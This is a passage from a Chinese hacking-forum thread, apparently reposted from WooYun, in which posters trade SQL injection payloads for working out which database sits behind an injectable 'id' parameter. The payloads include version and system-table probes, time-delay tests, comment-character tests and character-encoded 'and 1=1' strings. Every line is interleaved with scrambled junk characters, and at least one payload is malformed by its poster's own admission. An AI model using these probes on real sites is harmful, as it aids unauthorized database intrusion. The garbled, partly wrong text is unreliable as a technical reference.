找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2271|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
" U( M4 G; v! Y# e* Q1 ?, Cxsser (十根阳具有长短!!) | 2013-02-05 12:36
3 k7 E" A" T) ~. M9 J5 Z假设这么一个注射点:) t) ^6 y7 n6 F% h; b, D: u- S
show.html?id=2
, `9 Q, k( k* p* n+ Emysql:id=2 and version()>0
$ W7 c. e" E9 f+ z/ H: x  t4 noracle:id=2 and '1'||'1'='11
( r9 ^9 o& ^8 k" N2 I" B- b/ G其他的欢迎补充) |/ C2 o$ l' |& n8 q1 t% z
1#$ |8 D& w  e$ Q1 u; k+ k
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47) V+ E& Q: ~) N: I
Access:# p, a# \5 R1 @2 ~: h8 {
aNd aSc(cHr(97))=97- s7 d. m+ j0 x0 b7 H7 V4 t/ X
and exists(select id from MSysAccessObjects)
  J* }/ f0 |& j& p- eSQL Server:" D% z9 _; v9 H1 E& f
and exists(select id from sysobjects)+ _/ Q4 V3 x* ?# S8 l! S1 W1 C
and length(user)>0
. r8 T  j* U' w6 F" E' e$ zMySQL:
* p3 d* t- {$ K8 x' ]2 |and length(user())>0
, n0 V% v, U4 p. X2#+ i: z) U& y% T) @% t" ]! e
xsser (十根阳具有长短!!) | 2013-02-05 12:48
5 X' X3 p; H" f@upload 如果这些都不是呢…( h9 Y: Q2 `0 q) U8 F* L" Z; j
3#
$ O& ?4 n$ b1 k/ Y+ b! y3 Oupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
" ^, t" G8 ^) V! e@xsser 不快速的,延时注入
7 o; J0 d- N/ Q; X* O不知道这样写对不对
* B, N5 {9 A, G1 q- ?, D6 \, `mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3': W/ I" u+ {* A/ K4 Y
mysql:id=2 and select benchmark(1e8,current_date());
! Y7 k6 h# F  v' r4 k0 x4#' f& A+ S7 s1 O1 b$ a
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
& I+ C& l3 s: G3 w, Z最快的貌似是看报错信息+ \) O& l8 {2 y; j7 \+ z$ S
oracle error% t  c+ c1 d. V0 R. {) d
mssql error3 w5 c' @. @6 G: X6 M% F6 P5 r
mysql error
; Q* _) c! `5 z5#
+ o2 h: f3 f% M. q/ }6 eNimda (你们都是坏银~) | 2013-02-05 13:14! n1 \% N8 ^" ?
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)# C2 I) n; s; Z- D# U
6#
( f& R6 d2 I0 q4 M8 Pupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
* j" ~: V& B! d# m8 ]: l“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
- ?& g( s* E- ]3 F“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
* e( l2 ~( C* ~6 @" `“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。2 B( A6 v+ J! V$ V" K! ?, a
7#  j8 k8 B: r6 m& I+ x3 x
_Evil (HackEnd) | 2013-02-05 13:33" a" i2 M+ w+ s- D
PostgreSQL
- g, N1 _9 \, i& O  @" O" g+ v8#6 n) T1 I0 ?0 |4 m$ |0 h# N
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:422 q1 a$ \3 w; ~
切换编码 and 1=1
0 q) c  ]/ r, J  l+ Voracle:
( r+ b9 X; ?# z* z$ b# |CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
2 ]' R& j8 k0 w* C; cmssql:6 e6 U- h- Q. Y1 e) h( L
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)9 {. k2 B) ?# Z7 R6 _: X( ], U
mysql:
( M$ u. f6 n& ?+ d+ l# l6 BCHAR(97, 110, 100, 32, 49, 61, 49)
0 T1 [5 v& t% a+ J8 b1 w9#
6 i" a4 B2 K. f1 ?+ I, pxsser (十根阳具有长短!!) | 2013-02-05 14:31* d" w3 [! j' c7 E" k
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?  B  Y+ @8 L$ X: e
10#1 v1 u" Q1 b8 g
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
- z& a3 S9 N# n! ?@xsser 是奇葩数据库类型的么?. z9 N5 R! ^+ Z
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:( Y& {- A8 s) |3 X- c
1.是否可以使用特定的函数来判断,该数据库特有的$ v( m* G1 X# {! e# b
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等2 l( ]9 W* G. Q( y# c$ a
3.是否可以编码查询; g! I6 S2 l+ p1 o& f
4.是否显可以利用错信息# |. S* i" V2 y6 Y% J2 C3 z
5.是否存在数据库某些特性辅助判断
! z  \6 N1 ]- Q. x/ I9 z1 I; U* r个人见解
- ]0 h, _7 L/ ~* I11#$ u, p1 i4 Q3 r$ W* p3 o% E
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
1 f2 k# w& Z( K9 i已收藏,mssql可以直接看到错误提示的吧~1 i5 b! q0 ~2 I+ w) y: ]# y9 M
12#- Z! n' n  ]; e3 U* C- e! h! ?
Passer_by | 2013-02-05 15:09
. e/ z$ y6 @! R曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
1 [& z+ N: H" ?! T  S. K7 \from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表